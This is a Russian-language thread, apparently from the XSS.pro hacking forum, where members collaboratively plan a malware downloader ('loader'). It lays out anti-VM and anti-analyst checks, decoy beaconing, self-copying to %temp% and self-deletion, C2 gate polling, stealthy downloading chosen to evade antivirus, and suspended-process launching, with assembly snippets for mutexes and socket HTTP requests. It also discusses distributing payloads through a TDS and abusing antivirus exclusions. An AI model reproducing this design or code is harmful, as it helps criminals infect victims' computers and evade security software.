• XSS.stack #1 – первый литературный журнал от юзеров форума

Разработка лоадера

Пожалуйста, обратите внимание, что пользователь заблокирован
1. По админке - в ближайшие дни (как немного освобожусь) качну какие есть и посмотрю код. На вид обе неплохие, но лично я бы брал от 2к8.

2. По боту. Давайте с чего-то начнем, например сначала опишем логику работы бота, а потом попробуем это накодить. Сразу уточняю - я никогда не кодил малварь и не особо пользовался ею, опыт у меня тут минимальный, поэтому вероятно, что в идее будут какие-то недочеты и глупости. Просьба не писать в теме вида "ты полный дурак, кто же так пишет", критиковать, только с указанием ошибок - вида "WinExec палится и не работает в таком-то случае, бери ShellExecute" (ну и т.д.). Короче говоря - если код кривой, то пишите, пожалуйста, критику и пояснения, а не просто ругань и оскорбления.

Итак, бот запускается на компьютере. Для начала, я думаю, не лишним будет проверить, не на зараженную машину ли мы попали (хотя в случае нерезидента это мало актуально может быть, но хз даже..). Можно проверить через мьютекс.

Код:
.data
mutex db "GoogleUpdater",0

invoke CreateMutex,NULL,0,addr mutex;создаем мьютекс
invoke GetLastError;смотрим, была ли ошибка
cmp eax,ERROR_ALREADY_EXISTS;если да - значит уже такой же бот запущен
je copy_launched;сообщаем в админку или удаляемся или хз
Что тут делать, даже не знаю - можно уведомить админку, что лоады в 100500 рук, можно самоудалится, или убить копию.
Далее, следует проверить, не на виртуалку/машину авера/реверсера мы попали. Каких-то зиродей техник по детекту виртуалок я не знаю, поэтому можно посмотреть, например список процессов/заголовки окон/сами ехе файлы (поискать среди них wireshark, olly, ida и т.п.). Да, примитивизм, но и то годится. Заметив интересные программы, можно не удалятся (ибо авер заподозрит что-то), а перейти в режим отстука на какие-то совершенно левые адреса (генерировать урл или взять какой-то первый попавшийся сайт, пусть ищут админку). Но не брать гугл или адоб, а то аверы поймут, что тут что-то не так. Впрочем, опять же повторюсь, это сугубо мысли, не подтвержденные практикой.

Далее, можно скопировать себя куда-то подальше, например в %temp%, а исходный файл удалить (опять же, имеет ли в этом смысл при запуске нерезидента - не знаю). Я написал немного кода, алгоритм - бот запускает себя, смотрит где он. Если не в темпе - копирует себя в темп, запускает скопированный файл и передает ему два параметра - Del путь к себе. Копия при запуске смотрит, не передали ли ей параметры, если да - то удаляет исходный файл.

Далее, собственно отстук в админку. Таймаут можно брать минут 10, или задавать его в админке (тогда надо хранить в переменной, которая меняется в зависимости, что ответила админка). Скачивание не должно быть через UrlDownloadToFile, ибо как мне известно, это палится всеми аверами. Лучше использовать вининет/winhttp(его мало кто использует, если кто будет кодить, имейте ввиду, что поддерживается только юникод). Ну или сокеты, если кто-то грамотный напишет на них безглючное скачивание файла. Лично я выбрал бы уже оттестированные и проверенные вининет/винхттп.
Хотя вот вижу, что в вининет есть баги (https://xss.pro/index.php?topic=22621 ). Впрочем, для нерезидента мб это не критично (пробовать 2 попытки подключения, а кеширование картинки не страшно, ибо грузим только 1 раз).

Потом, копирование и запуск скачанного файла - какую функцию взять, даже не знаю, можно CreateProcess, или ShellExecute, или без разницы. Бот удаляет себя.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сделаем скачку сокетами , а запуск надо подумать как сделать.....

А так хорошо описал как на меня. Надо с чего то начинать!
 
Поддержу quake
1. if (проверяем на виртуалку) or (проверяем на отладку) or (проверяем на фаеры которые не можем обойти) then (выдаем ошибку а-ля "приложение выполнило недопустимую функцию по адресу бла-бла-бла" типа косим под неудачный крипт)/(как вариант - тихо дохнем в памяти не забыв само удалиться) else (ждем перед началом активной работы секунд 30 что бы пользователь мог забыть о чем-то подозрительном если оно и было)
2. стучим на гейт за заданием. Если гейт видит что такой бот стучал - не дает задание ему. Если нет - выдает задание.
Если до гейта не достучались - ждем 30 секунд и пробуем снова.
3. скачиваем файл в локальную %temp% или как вариант в user files/мои документы/etc
4. запускаем процесс замороженным.
5. отмораживаем процесс
6. проверяем запустился ли дочерний процесс. если нет - пробуем снова.
7. стучим на гейт о удачном выполнении
8. удаляемся


p.s. пока думаем только над одним заданием. т.е. бот скачивает другой exe и дохнет. Потом подумаем о нескольких заданиях.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Pernat1y
Да, неплохая админка. Спасибо)

shyrka
Тогда ты напиши функцию отстука в админку и скачивания файла, а то я с сокетами не дружу (могу на вининет только). Также, надо подумать про детект виртуалок. Я постараюсь написать все остальное.

функция должна скачивать файл и возвращать указатель на буфер, в котором путь к этому файлу (чтобы файл запустить через креатепроцесс).

Ar3s
Спасибо за идеи, в таком случае никаких WinExec|ShellExecute, как я понимаю, там нет функции "заморозки". Только CreateProcess. А то ведь было уже (по моему, в том же длоадере), что малварь запускала апдейт и не проверяла, запустился он или нет.

И все таки,я не знаю, делать ли это:
Далее, можно скопировать себя куда-то подальше, например в %temp%, а исходный файл удалить (опять же, имеет ли в этом смысл при запуске нерезидента - не знаю).
Если это нерезидент - наверное, все эти копирования-запуски, это ведь лишнее палево? Может проще работать откуда запустился?
 
Если это нерезидент - наверное, все эти копирования-запуски, это ведь лишнее палево? Может проще работать откуда запустился?

А если ты запустился с флешки/шары? Или же просто из места, где у тебя нет прав на запись?
 
Quake3
я с сокетами не дружу

...

Код:
.data

WSAData WSADATA <>
hSocket dd ?

...

Код:
invoke	WSAStartup, 20h, offset WSAData
...

Код:
;################################################################################################################
; Network_Connect - соединение с указанным хостом
;	IN:	szHostAddr - адрес хоста (доменное имя/IP-адрес)
;  dwPort     - порт
;	OUT:	возвращает сокет подключения, или 0 в случае ошибки
;################################################################################################################
Network_Connect	proc uses ebx szHostAddr, dwPort : DWORD
  LOCAL	s_addr : sockaddr_in

  invoke	socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
  inc	eax
  .IF	eax
  	dec	eax
  	xchg	ebx, eax  
  	invoke	gethostbyname, szHostAddr
  	.IF	eax
    mov	eax, dword ptr [eax + 12]
    mov	eax, dword ptr [eax]
    mov	eax, dword ptr [eax]
    mov	s_addr.sin_addr, eax
  
    mov	s_addr.sin_family, AF_INET
    mov	eax, dwPort
    xchg	ah, al
    mov	s_addr.sin_port, ax

    lea	eax, s_addr
    invoke	connect, ebx, eax, sizeof s_addr
    .IF	!eax
    	xchg	eax, ebx
    	ret
    .ENDIF
  	.ENDIF
  	invoke	closesocket, ebx
  	xor	eax, eax
  .ENDIF
  ret
Network_Connect endp

...

Код:
invoke Network_Connect, $CTA0("xss.pro/"), 80
...

...

Код:
тута формируем запрос с заголовками и прочей хуетенью

  szGetFormat	db "GET /%s HTTP/1.0",0Dh,0Ah
    db "Host: %s",0Dh,0Ah
    db "User-Agent: %s",0Dh,0Ah
    db "Keep-Alive: %d",0Dh,0Ah
    db "Connection: keep-alive",0Dh,0Ah
    db "Accept: */*",0Dh,0Ah
    db "Referer: %s",0Dh,0Ah,0Dh,0Ah,0

lpRequest ...

...

Код:
invoke	lstrlenA, lpRequest
invoke	send, hSocket, lpRequest, eax, 0

...

Код:
invoke	recv, hSocket, lpRequest, принимаемый_размер, 0

...

Код:
call	WSACleanup

...

типа того....
 
Интересная тема - билд микроскопического размера с вшитым адресом тдс и количеством запросов со спец заголовками грузит с тдс exe и стартует.
Все распределение exe по странам и пр. делается тдс, например сутрой. Билд микроскопический грузится с пака и обновляется вшитый в нем адрес тдс и количество запросов файлов.
Очень удобно сливать exe с сутры. Быстро, гибко, статистика. )))
 
Вы думаете, что "мы" о Вас и про ваши "ОБЕЩАНИЯ" забылЕ? - АП-НАХЪ!
Как обычно? - с криками «УРА!» все флаги побросали и в лес нах убежали... %)))

1. Для начала нужно составить список требований к менеджеру "этого проекта"
2. Потом выбрать грамотного менеджера для "этого проекта"
3. ...

Требования к менеджеру:
1. Среднее знание ASM`а
2. Среднее (а лучше высокое) знание С++
3. Базовое (на уровне синтаксиса) знания WEB`а (HTML, JS и т.д.) и среднее знание PHP
4. ...

Проект нужно кодить (желательно, а я бы сказал обязательно) на С++ и на раздаче слонов давать задание тем, кто умеет кодит только на ASM`е на написание отдельных функций или даже движков (типа легкого морфа) и весь этот код потом соединять в один проект и компилить в студии
Нужны будут также грамотные тестеры (т.е. aka реверсеры) которые будут грамотно находить баги (грамотно их описывать) на начальной стадии разработки и (желательно) давать советы по их быстрому фикс..
ЗЫ: ИМХО
 
товарищи, не хочу вас расстраивать, но по-моему намного лучше чем urldownloadtofile+winexec+крипт у вас ничего не выйдет. даже при таком подходе можно смело ожидать 70-80% отстук. пара % которые вы возможно каким-либо чудом выжмете погоды не сделают, а обходы в паблик проекте делать не резон.

если уж собрались что-то делать, то возможно лучше забыть все и начать с начала ? создать топ с обсуждением востребованого софта, затем сделать голосование исходя из обсуждения предложений. и затем уже конпелировать.
 
Чем дальше - тем больше мне кажется что не выйдет ничего. Идея данного топика заключалась в объединении, обучению молодежи и начале работы. И правильно краз выразился.
все флаги побросали и в лес нах убежали
До сих пор я увидел только пару строчек кода от револьта, который как бы и не собирался участвовать непосредственно в разработке.
 
Авторы опроса..., поднятая тема интересная, но на середине 2 страницы, закончил читать, и начал писать пост... Без разницы на чём писать софт, играясь как то с WinAPI в делфях накатал игрушку для "погуби учётку" ну так и вот, голый проект без кода весил 8 кило, готовый скомпиленный тоже 8 кило, я не трогал дефолтный system.pas который инклудится всегда по умолчанию если не назначен.., так вот, лоадырь при подходе получился аж 1,5 кило, пример где то в тут болтаются... MASM32 бесспорно хорошо, но я делаю что могу с тем что умею))
----------Закончим критику, и переплывём к самой теме)))----------
Нус, лоадырь.... я не буду нудить и всё такое, но задача у "**софтины**" то по сути одна, делится на 2-3 действия основных, и куычу материала для подготовки, если хоца что то и правда хорошее, придётся изобрести велосипед с 7 колёсами, т.к всё, на чём можно ездить, отлавливается) И так))
Задача №1:... Отклик на стату-админку... Попадая в систему нужно вылезти оттуда, дабы задачу мы там хаваем+пачку данных передаём для статы... Тут тоже гемор тот ещё, апдейтилка флеша, хорошо, то это максимум имя процесса, подписи и манифестов не будет, простенький фаер завернёт запрос) Ну или матернётся на него... Пальево, ну а туда где нету защиты можно и простой паблик.помойкой грузить, смысл тогда что то кодить.....

Задача №2 Запись файла в темповую папку, ченить типа *\AppData\Roaming\**фальшпапка_ПО**\file.tmp(*) ну или как то так))) Но способов мильён и зависать на этом не станем, ибо про всё не напишешь..))

И собственно ЗАДАЧА__#3 Запуск ПО, ну тут начиная от UAC заканчивая FV + AV проактивка, логистика... и всё что к этому привязанно, тут у меня давно плавает интересная идейка, она больше в стадию подготовки вливается, но всё же..) Моньячив собрать базгу кто что гуда пишет в исключения и так далее, хранить на серве в админке, получать списко установленного ПО в поисках заданных рамок, сравнить с базой админи, при совпадение записаться в нужное место с нужными параметрами, но записи в эти места палятся ПО производителя... В целом, тут есть над чем подумать, а главеное поле для творчества открыто)))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ar3s
Лично я понемногу пишу, и думаю сегодня-завтра написать первый каркасс бота. Проблема во времени и в том, что многие опытные кодеры судят по себе. Да, может для KraZzа или еще кого-то накодить такое - дело 10 минут. Спору нет. Но лично я алгоритм генерации айди (просто строку с 8 знаков) писал около 2х часов (и то, получилась ерунда, ибо многое надо доделывать). Дело движется медленно из-за моего плохого знания матчасти - написал строку кода и 30 минут гуглишь/читаешь мсдн/книгу. Но проект обязательно будет, и я прошу не закрывать эту тему и не писать негативных комментов ("дурью маетесь" "они ничего не сделоют" и так далее). И так не получается практически ничего, этот системный кодинг идет со страшным скрипом.


KraZz
Изначально руководителем проекта должны был быть Cream, но он что-то сюда редко заходит.. Так что хз.
А почему обязательно на С++ кодить? Чем Асм плох?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ar3s
Времени нет почти сейчас. Сессия.
Ну да пока и негде спешить , кто спешит тот людей смешит :)
Так что не напрягаемся :) И делаем все плавно :)
Всем Спасибо за ВНИМАНИЯ!!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх